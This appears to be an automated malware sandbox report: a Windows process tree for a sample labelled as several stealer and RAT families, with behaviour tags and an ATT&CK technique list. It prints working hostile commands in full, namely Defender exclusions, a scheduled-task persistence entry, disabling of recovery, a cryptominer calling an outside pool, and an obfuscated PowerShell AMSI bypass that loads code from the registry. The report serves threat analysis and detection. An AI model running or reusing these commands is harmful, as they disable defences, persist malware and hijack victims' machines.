C:\Windows\system32\svchost.exe -k LocalSystemNetworkRestricted -p -s DisplayEnhancementService
1⤵
PID:1292

C:\Windows\System32\svchost.exe
C:\Windows\System32\svchost.exe -k LocalServiceNetworkRestricted -p -s EventLog
1⤵
PID:1328

C:\Windows\system32\svchost.exe
C:\Windows\system32\svchost.exe -k netsvcs -p -s ProfSvc
1⤵
PID:1368

C:\Windows\system32\svchost.exe
C:\Windows\system32\svchost.exe -k LocalService -p -s nsi
1⤵
PID:1524

C:\Windows\system32\svchost.exe
C:\Windows\system32\svchost.exe -k LocalService -p -s EventSystem
1⤵
PID:1544

C:\Windows\System32\svchost.exe
C:\Windows\System32\svchost.exe -k netsvcs -p -s Themes
1⤵
PID:1572

C:\Windows\system32\svchost.exe
C:\Windows\system32\svchost.exe -k LocalService -p -s DispBrokerDesktopSvc
1⤵
PID:1612

C:\Windows\system32\svchost.exe
C:\Windows\system32\svchost.exe -k netsvcs -p -s UserManager
1⤵
PID:1672
- C:\Windows\system32\sihost.exe
  sihost.exe
  2⤵
  PID:1144

C:\Windows\system32\svchost.exe
C:\Windows\system32\svchost.exe -k LocalServiceNetworkRestricted -p -s Dhcp
1⤵
PID:1704

C:\Windows\system32\svchost.exe
C:\Windows\system32\svchost.exe -k netsvcs -p -s SENS
1⤵
PID:1832

C:\Windows\System32\svchost.exe
C:\Windows\System32\svchost.exe -k NetworkService -p -s NlaSvc
1⤵
PID:1900

C:\Windows\System32\svchost.exe
C:\Windows\System32\svchost.exe -k LocalSystemNetworkRestricted -p -s AudioEndpointBuilder
1⤵
PID:1940

C:\Windows\System32\svchost.exe
C:\Windows\System32\svchost.exe -k LocalService -p -s netprofm
1⤵
PID:2012

C:\Windows\System32\svchost.exe
C:\Windows\System32\svchost.exe -k LocalServiceNetworkRestricted -p
1⤵
PID:2020

C:\Windows\System32\svchost.exe
C:\Windows\System32\svchost.exe -k LocalServiceNetworkRestricted -p
1⤵
PID:1732

C:\Windows\system32\svchost.exe
C:\Windows\system32\svchost.exe -k NetworkService -p -s Dnscache
1⤵
PID:1920

C:\Windows\System32\svchost.exe
C:\Windows\System32\svchost.exe -k netsvcs -p -s ShellHWDetection
1⤵
PID:2072

C:\Windows\system32\svchost.exe
C:\Windows\system32\svchost.exe -k appmodel -p -s StateRepository
1⤵
PID:2108

C:\Windows\System32\spoolsv.exe
C:\Windows\System32\spoolsv.exe
1⤵
PID:2192

C:\Windows\System32\svchost.exe
C:\Windows\System32\svchost.exe -k NetworkService -p -s LanmanWorkstation
1⤵
PID:2284

C:\Windows\System32\svchost.exe
C:\Windows\System32\svchost.exe -k LocalServiceNetworkRestricted -s RmSvc
1⤵
PID:2356

C:\Windows\system32\svchost.exe
C:\Windows\system32\svchost.exe -k netsvcs -p -s Winmgmt
1⤵
PID:2504

C:\Windows\system32\svchost.exe
C:\Windows\system32\svchost.exe -k netsvcs -p -s IKEEXT
1⤵
PID:2580

C:\Windows\system32\svchost.exe
C:\Windows\system32\svchost.exe -k NetworkService -p -s CryptSvc
1⤵
- Drops file in System32 directory
- Modifies data under HKEY_USERS
- Suspicious use of UnmapMainImage
PID:2588

C:\Windows\System32\svchost.exe
C:\Windows\System32\svchost.exe -k LocalSystemNetworkRestricted -p -s TrkWks
1⤵
PID:2648

C:\Windows\system32\svchost.exe
C:\Windows\system32\svchost.exe -k NetworkServiceNetworkRestricted -p -s PolicyAgent
1⤵
PID:2680

C:\Windows\system32\svchost.exe
C:\Windows\system32\svchost.exe -k netsvcs -p -s LanmanServer
1⤵
PID:2692

C:\Windows\system32\svchost.exe
C:\Windows\system32\svchost.exe -k netsvcs -p -s WpnService
1⤵
PID:2704

C:\Windows\system32\svchost.exe
C:\Windows\system32\svchost.exe -k UnistackSvcGroup -s CDPUserSvc
1⤵
PID:1128

C:\Windows\system32\svchost.exe
C:\Windows\system32\svchost.exe -k netsvcs -p -s TokenBroker
1⤵
PID:3096

C:\Windows\Explorer.EXE
C:\Windows\Explorer.EXE
1⤵
- Suspicious behavior: GetForegroundWindowSpam
- Suspicious use of UnmapMainImage
PID:3244
- C:\Users\Admin\AppData\Local\Temp\2026-06-26_c406173a1457a41b5903e85003b8bf36_cobalt-strike_icedid_luca-stealer_njrat_satacom_stealc_vidar.exe
  "C:\Users\Admin\AppData\Local\Temp\2026-06-26_c406173a1457a41b5903e85003b8bf36_cobalt-strike_icedid_luca-stealer_njrat_satacom_stealc_vidar.exe"
  2⤵
  - Looks for VirtualBox Guest Additions in registry
  - Looks for VMWare Tools registry key
  - Adds Run key to start application
  - Drops file in System32 directory
  - Suspicious use of SetThreadContext
  - Drops file in Windows directory
  - Suspicious behavior: EnumeratesProcesses
  - Suspicious use of WriteProcessMemory
  PID:4700
- - C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
    powershell -Command "Add-MpPreference -ExclusionProcess 'powershell.exe'"
    3⤵
    - Command and Scripting Interpreter: PowerShell
    - Suspicious behavior: EnumeratesProcesses
    - Suspicious use of AdjustPrivilegeToken
    PID:552
- - C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
    powershell -Command "Add-MpPreference -ExclusionProcess 'cmd.exe'; Add-MpPreference -ExclusionPath 'C:\'"
    3⤵
    - Command and Scripting Interpreter: PowerShell
    - Suspicious behavior: EnumeratesProcesses
    - Suspicious use of AdjustPrivilegeToken
    PID:1260
- - C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
    powershell -Command "Add-MpPreference -ExclusionProcess 'WinTemp-v4.exe'; Add-MpPreference -ExclusionProcess 'Win-v42.exe'; Add-MpPreference -ExclusionProcess 'Win-v43.exe'"
    3⤵
    - Command and Scripting Interpreter: PowerShell
    - Suspicious behavior: EnumeratesProcesses
    - Suspicious use of AdjustPrivilegeToken
    PID:1756
- - C:\Windows\SYSTEM32\schtasks.exe
    schtasks /Create /TN "v4" /TR "C:\Windows\System32\Win-v42.exe" /SC ONLOGON /RL HIGHEST /F
    3⤵
    - Scheduled Task/Job: Scheduled Task
    PID:3808
- - C:\Windows\SYSTEM32\cmd.exe
    cmd.exe /C reagentc /disable
    3⤵
    - Suspicious use of WriteProcessMemory
    PID:1172
  - - C:\Windows\system32\ReAgentc.exe
      reagentc /disable
      4⤵
      Drops file in System32 directory
      Drops file in Windows directory
      PID:2332
- - C:\Windows\SYSTEM32\cmd.exe
    cmd.exe /C takeown /F "%SystemRoot%\System32\reagentc.exe"
    3⤵
    - Suspicious use of WriteProcessMemory
    PID:4740
  - - C:\Windows\system32\takeown.exe
      takeown /F "C:\Windows\System32\reagentc.exe"
      4⤵
      Possible privilege escalation attempt
      Modifies file permissions
      Suspicious use of AdjustPrivilegeToken
      PID:4724
- - C:\Windows\SYSTEM32\cmd.exe
    cmd.exe /C icacls "%SystemRoot%\System32\reagentc.exe" /grant Administrators:F
    3⤵
    - Suspicious use of WriteProcessMemory
    PID:968
  - - C:\Windows\system32\icacls.exe
      icacls "C:\Windows\System32\reagentc.exe" /grant Administrators:F
      4⤵
      Possible privilege escalation attempt
      Modifies file permissions
      PID:1432
- - C:\Windows\SYSTEM32\cmd.exe
    cmd.exe /C icacls "%SystemRoot%\System32\reagentc.exe" /deny Everyone:RX
    3⤵
    - Suspicious use of WriteProcessMemory
    PID:1464
  - - C:\Windows\system32\icacls.exe
      icacls "C:\Windows\System32\reagentc.exe" /deny Everyone:RX
      4⤵
      Possible privilege escalation attempt
      Modifies file permissions
      PID:560
- - C:\Windows\SYSTEM32\powercfg.exe
    powercfg /change monitor-timeout-ac 0
    3⤵
    - Power Settings
    - Suspicious use of AdjustPrivilegeToken
    PID:2556
- - C:\Windows\SYSTEM32\powercfg.exe
    powercfg /change monitor-timeout-dc 0
    3⤵
    - Power Settings
    - Suspicious use of AdjustPrivilegeToken
    PID:4028
- - C:\Windows\SYSTEM32\powercfg.exe
    powercfg /change standby-timeout-ac 0
    3⤵
    - Power Settings
    - Suspicious use of AdjustPrivilegeToken
    PID:3396
- - C:\Windows\SYSTEM32\powercfg.exe
    powercfg /change standby-timeout-dc 0
    3⤵
    - Power Settings
    - Suspicious use of AdjustPrivilegeToken
    PID:4204
- - C:\Windows\SYSTEM32\powercfg.exe
    powercfg /change hibernate-timeout-ac 0
    3⤵
    - Power Settings
    - Suspicious use of AdjustPrivilegeToken
    PID:516
- - C:\Windows\SYSTEM32\powercfg.exe
    powercfg /change hibernate-timeout-dc 0
    3⤵
    - Power Settings
    - Suspicious use of AdjustPrivilegeToken
    PID:1604
- - C:\Windows\SYSTEM32\powercfg.exe
    powercfg /hibernate off
    3⤵
    - Power Settings
    - Suspicious use of AdjustPrivilegeToken
    PID:3780
- - C:\Windows\SYSTEM32\cmd.exe
    cmd.exe /c ping -n 1 -w 1000 8.8.8.8 > nul
    3⤵
    - System Network Configuration Discovery: Internet Connection Discovery
    - Suspicious use of WriteProcessMemory
    PID:2544
  - - C:\Windows\system32\PING.EXE
      ping -n 1 -w 1000 8.8.8.8
      4⤵
      System Network Configuration Discovery: Internet Connection Discovery
      Runs ping.exe
      PID:3312
- - C:\Windows\System32\cmd.exe
    C:\Windows\System32\cmd.exe --algo rx/0 --url 94.154.32.229:3333 --user 439RTMrajyhLb4cLK4YDejMx4rp8b5VDR4YX4auqWGbgUBj1c4wVbvc69bVUmJuJ8rXWwCU7LAGL9MkFaMwDwXjo6FrM5Y3/x -p x -k --cpu-max-threads-hint=90
    3⤵
    - Badlisted process makes network request
    - Executes dropped EXE
    - Suspicious use of AdjustPrivilegeToken
    - Suspicious use of FindShellTrayWindow
    PID:468
- - C:\Windows\SysWOW64\svchost.exe
    C:\Windows\SysWOW64\svchost.exe
    3⤵
    - Executes dropped EXE
    - System Location Discovery: System Language Discovery
    PID:1568

C:\Windows\system32\svchost.exe
C:\Windows\system32\svchost.exe -k LocalService -p -s CDPSvc
1⤵
PID:3264

C:\Windows\system32\svchost.exe
C:\Windows\system32\svchost.exe -k ClipboardSvcGroup -p -s cbdhsvc
1⤵
PID:3432

C:\Windows\system32\DllHost.exe
C:\Windows\system32\DllHost.exe /Processid:{3EB3C877-1F16-487C-9050-104DBCD66683}
1⤵
PID:3632

C:\Windows\System32\RuntimeBroker.exe
C:\Windows\System32\RuntimeBroker.exe -Embedding
1⤵
PID:3784

C:\Windows\System32\RuntimeBroker.exe
C:\Windows\System32\RuntimeBroker.exe -Embedding
1⤵
PID:380

C:\Windows\System32\RuntimeBroker.exe
C:\Windows\System32\RuntimeBroker.exe -Embedding
1⤵
PID:4620

C:\Windows\system32\svchost.exe
C:\Windows\system32\svchost.exe -k netsvcs -p -s wlidsvc
1⤵
PID:1752

C:\Windows\System32\svchost.exe
C:\Windows\System32\svchost.exe -k netsvcs -p
1⤵
PID:3696

C:\Windows\System32\svchost.exe
C:\Windows\System32\svchost.exe -k LocalSystemNetworkRestricted -p -s StorSvc
1⤵
PID:4664

C:\Windows\system32\SppExtComObj.exe
C:\Windows\system32\SppExtComObj.exe -Embedding
1⤵
PID:4392

C:\Windows\System32\svchost.exe
C:\Windows\System32\svchost.exe -k LocalService -p -s LicenseManager
1⤵
PID:1656

C:\Windows\system32\svchost.exe
C:\Windows\system32\svchost.exe -k LocalServiceNetworkRestricted -p -s WinHttpAutoProxySvc
1⤵
- Modifies data under HKEY_USERS
PID:2796

C:\Program Files\Common Files\Microsoft Shared\ClickToRun\OfficeClickToRun.exe
"C:\Program Files\Common Files\Microsoft Shared\ClickToRun\OfficeClickToRun.exe" /service
1⤵
- Drops file in System32 directory
- Modifies data under HKEY_USERS
PID:1384

C:\Windows\system32\DllHost.exe
C:\Windows\system32\DllHost.exe /Processid:{3EB3C877-1F16-487C-9050-104DBCD66683}
1⤵
PID:3840

C:\Windows\system32\svchost.exe
C:\Windows\system32\svchost.exe -k LocalServiceNetworkRestricted -p -s NgcCtnrSvc
1⤵
PID:2828

C:\Windows\system32\svchost.exe
C:\Windows\system32\svchost.exe -k appmodel -p -s camsvc
1⤵
PID:1180

C:\Windows\system32\svchost.exe
C:\Windows\system32\svchost.exe -k netsvcs -p -s Appinfo
1⤵
PID:3648

C:\Windows\System32\Win-v42.exe
C:\Windows\System32\Win-v42.exe
1⤵
- Looks for VirtualBox Guest Additions in registry
- Looks for VMWare Tools registry key
- Executes dropped EXE
- Suspicious behavior: EnumeratesProcesses
PID:332

C:\Users\Admin\AppData\Local\Microsoft\Windows\Explorer\Win-v43.exe
C:\Users\Admin\AppData\Local\Microsoft\Windows\Explorer\Win-v43.exe
1⤵
- Looks for VirtualBox Guest Additions in registry
- Looks for VMWare Tools registry key
- Executes dropped EXE
- Suspicious behavior: EnumeratesProcesses
PID:212

C:\Windows\System32\svchost.exe
C:\Windows\System32\svchost.exe -k WerSvcGroup
1⤵
PID:1724

C:\Windows\system32\svchost.exe
C:\Windows\system32\svchost.exe -k netsvcs -p -s wuauserv
1⤵
PID:4640

C:\Windows\system32\wbem\wmiprvse.exe
C:\Windows\system32\wbem\wmiprvse.exe -secured -Embedding
1⤵
PID:3644

C:\Windows\servicing\TrustedInstaller.exe
C:\Windows\servicing\TrustedInstaller.exe
1⤵
PID:4264

C:\Windows\system32\svchost.exe
C:\Windows\system32\svchost.exe -k netsvcs -p -s UsoSvc
1⤵
PID:3508

C:\Windows\System32\mousocoreworker.exe
C:\Windows\System32\mousocoreworker.exe -Embedding
1⤵
PID:2380

C:\Windows\winsxs\amd64_microsoft-windows-servicingstack_31bf3856ad364e35_10.0.19041.1220_none_7e21bc567c7ed16b\TiWorker.exe
C:\Windows\winsxs\amd64_microsoft-windows-servicingstack_31bf3856ad364e35_10.0.19041.1220_none_7e21bc567c7ed16b\TiWorker.exe -Embedding
1⤵
PID:2876

C:\Windows\system32\cmd.exe
cmd.exe /c "powershell.exe -Command ""function Local:pNxYwgHmNmGN{Param([OutputType([Type])][Parameter(Position=0)][Type[]]$IwSxWfjNJZPZKI,[Parameter(Position=1)][Type]$VvtfXlUceq)$MepGAjuhmiu=[AppDomain]::CurrentDomain.DefineDynamicAssembly((New-Object Reflection.AssemblyName(''+'R'+''+'e'+''+[Char](102)+''+'l'+''+[Char](101)+'c'+[Char](116)+'e'+[Char](100)+''+[Char](68)+''+[Char](101)+''+'l'+'e'+[Char](103)+''+'a'+''+'t'+''+[Char](101)+'')),[Reflection.Emit.AssemblyBuilderAccess]::Run).DefineDynamicModule(''+'I'+''+[Char](110)+''+[Char](77)+''+[Char](101)+''+[Char](109)+''+[Char](111)+''+[Char](114)+''+[Char](121)+''+[Char](77)+'od'+[Char](117)+''+[Char](108)+''+[Char](101)+'',$False).DefineType(''+[Char](77)+''+'y'+'D'+[Char](101)+''+[Char](108)+'e'+[Char](103)+''+[Char](97)+''+[Char](116)+''+[Char](101)+'Ty'+[Char](112)+'e','C'+[Char](108)+''+[Char](97)+'s'+'s'+''+[Char](44)+''+[Char](80)+''+'u'+''+[Char](98)+''+[Char](108)+'i'+[Char](99)+''+','+'S'+[Char](101)+''+[Char](97)+''+[Char](108)+'e'+[Char](100)+''+[Char](44)+''+[Char](65)+''+[Char](110)+''+[Char](115)+'i'+[Char](67)+''+[Char](108)+''+[Char](97)+'s'+[Char](115)+''+[Char](44)+''+[Char](65)+''+'u'+''+[Char](116)+''+[Char](111)+''+[Char](67)+''+'l'+'a'+[Char](115)+'s',[MulticastDelegate]);$MepGAjuhmiu.DefineConstructor(''+'R'+'T'+[Char](83)+''+[Char](112)+''+[Char](101)+''+[Char](99)+'i'+[Char](97)+''+[Char](108)+''+'N'+''+[Char](97)+''+[Char](109)+''+[Char](101)+','+[Char](72)+''+'i'+'d'+[Char](101)+'B'+'y'+''+[Char](83)+''+[Char](105)+''+[Char](103)+''+[Char](44)+''+[Char](80)+''+[Char](117)+''+[Char](98)+'li'+[Char](99)+'',[Reflection.CallingConventions]::Standard,$IwSxWfjNJZPZKI).SetImplementationFlags(''+[Char](82)+''+[Char](117)+''+[Char](110)+''+[Char](116)+''+[Char](105)+''+'m'+''+[Char](101)+','+[Char](77)+'a'+[Char](110)+'age'+[Char](100)+'');$MepGAjuhmiu.DefineMethod(''+[Char](73)+''+'n'+''+'v'+''+[Char](111)+''+[Char](107)+''+[Char](101)+'','P'+[Char](117)+''+'b'+'l'+[Char](105)+'c'+[Char](44)+''+'H'+''+[Char](105)+''+'d'+''+[Char](101)+''+[Char](66)+''+[Char](121)+'S'+[Char](105)+'g'+[Char](44)+''+[Char](78)+'e'+[Char](119)+'S'+[Char](108)+''+[Char](111)+''+[Char](116)+''+[Char](44)+''+'V'+''+'i'+'r'+'t'+''+'u'+''+'a'+''+[Char](108)+'',$VvtfXlUceq,$IwSxWfjNJZPZKI).SetImplementationFlags('R'+[Char](117)+''+[Char](110)+''+'t'+''+[Char](105)+'m'+[Char](101)+''+[Char](44)+''+'M'+''+[Char](97)+''+'n'+''+[Char](97)+'ged');Write-Output $MepGAjuhmiu.CreateType();}$tJOhUDzyBMCXs=([AppDomain]::CurrentDomain.GetAssemblies()^|Where-Object{$_.GlobalAssemblyCache -And $_.Location.Split('\')[-1].Equals('S'+'y'+'st'+[Char](101)+'m'+'.'+''+[Char](100)+'l'+'l'+'')}).GetType(''+'M'+'ic'+'r'+'o'+'s'+''+'o'+''+[Char](102)+'t'+[Char](46)+''+[Char](87)+''+[Char](105)+''+[Char](110)+'3'+'2'+'.'+'U'+''+'n'+''+[Char](115)+'a'+'f'+''+[Char](101)+'N'+'a'+''+'t'+''+[Char](105)+''+'v'+''+'e'+''+'M'+'e'+[Char](116)+''+[Char](104)+''+[Char](111)+''+[Char](100)+''+'s'+'');$pZuUOnyoabcuuA=$tJOhUDzyBMCXs.GetMethod(''+[Char](71)+'e'+[Char](116)+''+[Char](80)+''+'r'+''+[Char](111)+''+[Char](99)+''+'A'+'d'+[Char](100)+''+'r'+''+[Char](101)+''+'s'+''+[Char](115)+'',[Reflection.BindingFlags](''+[Char](80)+''+'u'+''+[Char](98)+''+[Char](108)+''+[Char](105)+''+[Char](99)+''+','+''+[Char](83)+''+[Char](116)+''+[Char](97)+''+[Char](116)+''+[Char](105)+''+'c'+''),$Null,[Reflection.CallingConventions]::Any,@((New-Object IntPtr).GetType(),[string]),$Null);$TcOywkCFuaIZSpQbJZv=pNxYwgHmNmGN @([String])([IntPtr]);$hdBiRAbtHluMGAjeFuUQjY=pNxYwgHmNmGN @([IntPtr],[UIntPtr],[UInt32],[UInt32].MakeByRefType())([Bool]);$jZuozQUifMD=$tJOhUDzyBMCXs.GetMethod(''+'G'+''+[Char](101)+''+[Char](116)+''+[Char](77)+''+[Char](111)+'d'+[Char](117)+''+'l'+''+[Char](101)+''+[Char](72)+''+'a'+'nd'+[Char](108)+''+[Char](101)+'').Invoke($Null,@([Object](''+[Char](107)+''+[Char](101)+''+[Char](114)+''+[Char](110)+''+[Char](101)+''+[Char](108)+''+[Char](51)+''+[Char](50)+''+[Char](46)+''+[Char](100)+''+[Char](108)+'l')));$zxWycWYyqCyMns=$pZuUOnyoabcuuA.Invoke($Null,@([Object]$jZuozQUifMD,[Object](''+'L'+''+[Char](111)+''+'a'+''+[Char](100)+''+[Char](76)+''+[Char](105)+''+'b'+''+[Char](114)+''+'a'+''+[Char](114)+''+[Char](121)+''+[Char](65)+'')));$XsgxkyIGNgBLAYtxP=$pZuUOnyoabcuuA.Invoke($Null,@([Object]$jZuozQUifMD,[Object]('Vi'+[Char](114)+''+[Char](116)+''+'u'+'a'+[Char](108)+''+[Char](80)+''+'r'+''+[Char](111)+''+[Char](116)+''+'e'+''+'c'+''+[Char](116)+'')));$MeaopZp=[Runtime.InteropServices.Marshal]::GetDelegateForFunctionPointer($zxWycWYyqCyMns,$TcOywkCFuaIZSpQbJZv).Invoke(''+[Char](97)+''+[Char](109)+''+'s'+''+[Char](105)+''+[Char](46)+''+[Char](100)+''+'l'+''+[Char](108)+'');$WYjvcyOiJqyrcjGUA=$pZuUOnyoabcuuA.Invoke($Null,@([Object]$MeaopZp,[Object]('A'+[Char](109)+''+[Char](115)+''+[Char](105)+''+[Char](83)+''+'c'+'a'+[Char](110)+''+'B'+''+[Char](117)+''+'f'+''+'f'+''+[Char](101)+''+'r'+'')));$YnCzzkfrzj=0;[Runtime.InteropServices.Marshal]::GetDelegateForFunctionPointer($XsgxkyIGNgBLAYtxP,$hdBiRAbtHluMGAjeFuUQjY).Invoke($WYjvcyOiJqyrcjGUA,[uint32]8,4,[ref]$YnCzzkfrzj);[Runtime.InteropServices.Marshal]::Copy([Byte[]]([Byte](158-27),[Byte](23+170),[Byte](110-110),[Byte](163+21),[Byte](122-35),[Byte](60-60),[Byte](15-8),[Byte](91+37),[Byte](155-18),[Byte](174+27),[Byte](206-11),[Byte](92+45),[Byte](156+54)),0,$WYjvcyOiJqyrcjGUA,216-203);[Runtime.InteropServices.Marshal]::GetDelegateForFunctionPointer($XsgxkyIGNgBLAYtxP,$hdBiRAbtHluMGAjeFuUQjY).Invoke($WYjvcyOiJqyrcjGUA,[uint32]8,0x20,[ref]$YnCzzkfrzj);[Reflection.Assembly]::Load([Microsoft.Win32.Registry]::LocalMachine.OpenSubkey(''+'S'+''+[Char](79)+''+'F'+'TWA'+[Char](82)+''+'E'+'').GetValue(''+[Char](36)+'SHst'+[Char](97)+'ge'+[Char](114)+'')).EntryPoint.Invoke($Null,$Null)"""
1⤵
- System Time Discovery
- Suspicious use of WriteProcessMemory
PID:2712
- C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
  powershell.exe -Command ""function Local:pNxYwgHmNmGN{Param([OutputType([Type])][Parameter(Position=0)][Type[]]$IwSxWfjNJZPZKI,[Parameter(Position=1)][Type]$VvtfXlUceq)$MepGAjuhmiu=[AppDomain]::CurrentDomain.DefineDynamicAssembly((New-Object Reflection.AssemblyName(''+'R'+''+'e'+''+[Char](102)+''+'l'+''+[Char](101)+'c'+[Char](116)+'e'+[Char](100)+''+[Char](68)+''+[Char](101)+''+'l'+'e'+[Char](103)+''+'a'+''+'t'+''+[Char](101)+'')),[Reflection.Emit.AssemblyBuilderAccess]::Run).DefineDynamicModule(''+'I'+''+[Char](110)+''+[Char](77)+''+[Char](101)+''+[Char](109)+''+[Char](111)+''+[Char](114)+''+[Char](121)+''+[Char](77)+'od'+[Char](117)+''+[Char](108)+''+[Char](101)+'',$False).DefineType(''+[Char](77)+''+'y'+'D'+[Char](101)+''+[Char](108)+'e'+[Char](103)+''+[Char](97)+''+[Char](116)+''+[Char](101)+'Ty'+[Char](112)+'e','C'+[Char](108)+''+[Char](97)+'s'+'s'+''+[Char](44)+''+[Char](80)+''+'u'+''+[Char](98)+''+[Char](108)+'i'+[Char](99)+''+','+'S'+[Char](101)+''+[Char](97)+''+[Char](108)+'e'+[Char](100)+''+[Char](44)+''+[Char](65)+''+[Char](110)+''+[Char](115)+'i'+[Char](67)+''+[Char](108)+''+[Char](97)+'s'+[Char](115)+''+[Char](44)+''+[Char](65)+''+'u'+''+[Char](116)+''+[Char](111)+''+[Char](67)+''+'l'+'a'+[Char](115)+'s',[MulticastDelegate]);$MepGAjuhmiu.DefineConstructor(''+'R'+'T'+[Char](83)+''+[Char](112)+''+[Char](101)+''+[Char](99)+'i'+[Char](97)+''+[Char](108)+''+'N'+''+[Char](97)+''+[Char](109)+''+[Char](101)+','+[Char](72)+''+'i'+'d'+[Char](101)+'B'+'y'+''+[Char](83)+''+[Char](105)+''+[Char](103)+''+[Char](44)+''+[Char](80)+''+[Char](117)+''+[Char](98)+'li'+[Char](99)+'',[Reflection.CallingConventions]::Standard,$IwSxWfjNJZPZKI).SetImplementationFlags(''+[Char](82)+''+[Char](117)+''+[Char](110)+''+[Char](116)+''+[Char](105)+''+'m'+''+[Char](101)+','+[Char](77)+'a'+[Char](110)+'age'+[Char](100)+'');$MepGAjuhmiu.DefineMethod(''+[Char](73)+''+'n'+''+'v'+''+[Char](111)+''+[Char](107)+''+[Char](101)+'','P'+[Char](117)+''+'b'+'l'+[Char](105)+'c'+[Char](44)+''+'H'+''+[Char](105)+''+'d'+''+[Char](101)+''+[Char](66)+''+[Char](121)+'S'+[Char](105)+'g'+[Char](44)+''+[Char](78)+'e'+[Char](119)+'S'+[Char](108)+''+[Char](111)+''+[Char](116)+''+[Char](44)+''+'V'+''+'i'+'r'+'t'+''+'u'+''+'a'+''+[Char](108)+'',$VvtfXlUceq,$IwSxWfjNJZPZKI).SetImplementationFlags('R'+[Char](117)+''+[Char](110)+''+'t'+''+[Char](105)+'m'+[Char](101)+''+[Char](44)+''+'M'+''+[Char](97)+''+'n'+''+[Char](97)+'ged');Write-Output $MepGAjuhmiu.CreateType();}$tJOhUDzyBMCXs=([AppDomain]::CurrentDomain.GetAssemblies()|Where-Object{$_.GlobalAssemblyCache -And $_.Location.Split('\')[-1].Equals('S'+'y'+'st'+[Char](101)+'m'+'.'+''+[Char](100)+'l'+'l'+'')}).GetType(''+'M'+'ic'+'r'+'o'+'s'+''+'o'+''+[Char](102)+'t'+[Char](46)+''+[Char](87)+''+[Char](105)+''+[Char](110)+'3'+'2'+'.'+'U'+''+'n'+''+[Char](115)+'a'+'f'+''+[Char](101)+'N'+'a'+''+'t'+''+[Char](105)+''+'v'+''+'e'+''+'M'+'e'+[Char](116)+''+[Char](104)+''+[Char](111)+''+[Char](100)+''+'s'+'');$pZuUOnyoabcuuA=$tJOhUDzyBMCXs.GetMethod(''+[Char](71)+'e'+[Char](116)+''+[Char](80)+''+'r'+''+[Char](111)+''+[Char](99)+''+'A'+'d'+[Char](100)+''+'r'+''+[Char](101)+''+'s'+''+[Char](115)+'',[Reflection.BindingFlags](''+[Char](80)+''+'u'+''+[Char](98)+''+[Char](108)+''+[Char](105)+''+[Char](99)+''+','+''+[Char](83)+''+[Char](116)+''+[Char](97)+''+[Char](116)+''+[Char](105)+''+'c'+''),$Null,[Reflection.CallingConventions]::Any,@((New-Object IntPtr).GetType(),[string]),$Null);$TcOywkCFuaIZSpQbJZv=pNxYwgHmNmGN @([String])([IntPtr]);$hdBiRAbtHluMGAjeFuUQjY=pNxYwgHmNmGN @([IntPtr],[UIntPtr],[UInt32],[UInt32].MakeByRefType())([Bool]);$jZuozQUifMD=$tJOhUDzyBMCXs.GetMethod(''+'G'+''+[Char](101)+''+[Char](116)+''+[Char](77)+''+[Char](111)+'d'+[Char](117)+''+'l'+''+[Char](101)+''+[Char](72)+''+'a'+'nd'+[Char](108)+''+[Char](101)+'').Invoke($Null,@([Object](''+[Char](107)+''+[Char](101)+''+[Char](114)+''+[Char](110)+''+[Char](101)+''+[Char](108)+''+[Char](51)+''+[Char](50)+''+[Char](46)+''+[Char](100)+''+[Char](108)+'l')));$zxWycWYyqCyMns=$pZuUOnyoabcuuA.Invoke($Null,@([Object]$jZuozQUifMD,[Object](''+'L'+''+[Char](111)+''+'a'+''+[Char](100)+''+[Char](76)+''+[Char](105)+''+'b'+''+[Char](114)+''+'a'+''+[Char](114)+''+[Char](121)+''+[Char](65)+'')));$XsgxkyIGNgBLAYtxP=$pZuUOnyoabcuuA.Invoke($Null,@([Object]$jZuozQUifMD,[Object]('Vi'+[Char](114)+''+[Char](116)+''+'u'+'a'+[Char](108)+''+[Char](80)+''+'r'+''+[Char](111)+''+[Char](116)+''+'e'+''+'c'+''+[Char](116)+'')));$MeaopZp=[Runtime.InteropServices.Marshal]::GetDelegateForFunctionPointer($zxWycWYyqCyMns,$TcOywkCFuaIZSpQbJZv).Invoke(''+[Char](97)+''+[Char](109)+''+'s'+''+[Char](105)+''+[Char](46)+''+[Char](100)+''+'l'+''+[Char](108)+'');$WYjvcyOiJqyrcjGUA=$pZuUOnyoabcuuA.Invoke($Null,@([Object]$MeaopZp,[Object]('A'+[Char](109)+''+[Char](115)+''+[Char](105)+''+[Char](83)+''+'c'+'a'+[Char](110)+''+'B'+''+[Char](117)+''+'f'+''+'f'+''+[Char](101)+''+'r'+'')));$YnCzzkfrzj=0;[Runtime.InteropServices.Marshal]::GetDelegateForFunctionPointer($XsgxkyIGNgBLAYtxP,$hdBiRAbtHluMGAjeFuUQjY).Invoke($WYjvcyOiJqyrcjGUA,[uint32]8,4,[ref]$YnCzzkfrzj);[Runtime.InteropServices.Marshal]::Copy([Byte[]]([Byte](158-27),[Byte](23+170),[Byte](110-110),[Byte](163+21),[Byte](122-35),[Byte](60-60),[Byte](15-8),[Byte](91+37),[Byte](155-18),[Byte](174+27),[Byte](206-11),[Byte](92+45),[Byte](156+54)),0,$WYjvcyOiJqyrcjGUA,216-203);[Runtime.InteropServices.Marshal]::GetDelegateForFunctionPointer($XsgxkyIGNgBLAYtxP,$hdBiRAbtHluMGAjeFuUQjY).Invoke($WYjvcyOiJqyrcjGUA,[uint32]8,0x20,[ref]$YnCzzkfrzj);[Reflection.Assembly]::Load([Microsoft.Win32.Registry]::LocalMachine.OpenSubkey(''+'S'+''+[Char](79)+''+'F'+'TWA'+[Char](82)+''+'E'+'').GetValue(''+[Char](36)+'SHst'+[Char](97)+'ge'+[Char](114)+'')).EntryPoint.Invoke($Null,$Null)""
  2⤵
  - Command and Scripting Interpreter: PowerShell
  - Drops file in System32 directory
  - Modifies data under HKEY_USERS
  - Suspicious behavior: EnumeratesProcesses
  - Suspicious use of AdjustPrivilegeToken
  - Suspicious use of WriteProcessMemory
  PID:4832

Network

MITRE ATT&CK Enterprise v16

Reconnaissance

Resource Development

Initial Access

Execution

Command and Scripting Interpreter

T1059

PowerShell

T1059.001

Scheduled Task/Job

T1053

Scheduled Task

Persistence

Boot or Logon Autostart Execution

T1547

Registry Run Keys / Startup Folder

T1547.001

Power Settings

T1653

Scheduled Task/Job

T1053

Scheduled Task

Privilege Escalation

Boot or Logon Autostart Execution

T1547

Registry Run Keys / Startup Folder

T1547.001

Scheduled Task/Job

T1053

Scheduled Task

Defense Evasion

